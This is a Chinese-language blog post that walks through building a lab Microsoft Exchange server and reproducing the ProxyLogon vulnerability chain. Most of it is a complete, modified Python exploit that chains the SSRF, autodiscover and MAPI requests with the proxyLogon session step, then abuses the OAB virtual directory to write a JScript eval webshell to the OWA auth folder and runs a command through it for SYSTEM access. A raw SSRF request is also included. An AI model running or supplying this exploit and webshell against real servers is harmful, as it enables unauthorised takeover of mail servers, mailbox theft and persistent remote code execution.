一、环境搭建
虚拟机配置 4核心16G 120SSD
1.1 安装AD 域控
参考: https://blog.csdn.net/zhaowei198311/article/details/107391577 然后下载Exchange https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=102114 然后下载.NET4.8 https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/prerequisites?view=exchserver-2016 下载C++ 依赖包 https://www.microsoft.com/en-us/download/details.aspx?id=30679
有个坑。就是安装Visual C++ Redistributable Packages for Visual Studio 2013
记得下载的时候选择英文。。中文的会检测的时候一直通不过
然后安装Exchange
然后需要安装一个补丁。
http://www.catalog.update.microsoft.com/Search.aspx?q=KB3206632
请选择你的机器型号。进行下载
然后重启之后。继续安装Exchange
二:安装完成访问页面
默认安装完成后会有体验天数,由于楼主是购买了微软的license所以就先激活了
邮箱管理登录页面:https://localhost/ecp
个人邮箱用户登录页面:https://localhost/owa
当然安装完成后也支持POP3,IMAP服务 详情在服务里面启动就可以进行配置
测试一下SSRF
POST /ecp/fewi.js HTTP/1.1
Host: mail.btwaf.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=WIN-VT2P6K94J9J/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 412
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
exp 执行一下
获取system权限
EXP。公开的那个EXP 有点问题。就改了一下。不过那个还是能用的。
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if len(sys.argv) < 2:
print("使用方式: python PoC.py <target> <email>")
print("使用方式: python PoC.py mail.btwaf.cn [email protected]")
exit()
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % email
print("正在获取Exchange Server " + target+"权限")
print("=============================")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False,proxies=proxies)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")
exit()
if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
exit()
legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False
)
if ct.status_code != 200:
print("写入shell失败了啊")
exit()
print("成功了。马上就验证shell是否OK!")
print("POST shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
if data.status_code != 200:
print("写入shell失败")
else:
print("权限如下:"+data.text.split("OAB (Default Web Site)")[0].replace("Name : ",""))
2013 是执行不了的。因为GetSecurityIdentifier 的时候初始化不了对象。
具体的参考:https://blog.csdn.net/weixin_44058342/article/details/114677966
参考文章:
https://blog.csdn.net/weixin_44058342/article/details/114677966
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
复现过程中有很多疑惑。这里记得多看看上面这三篇文章。很大帮助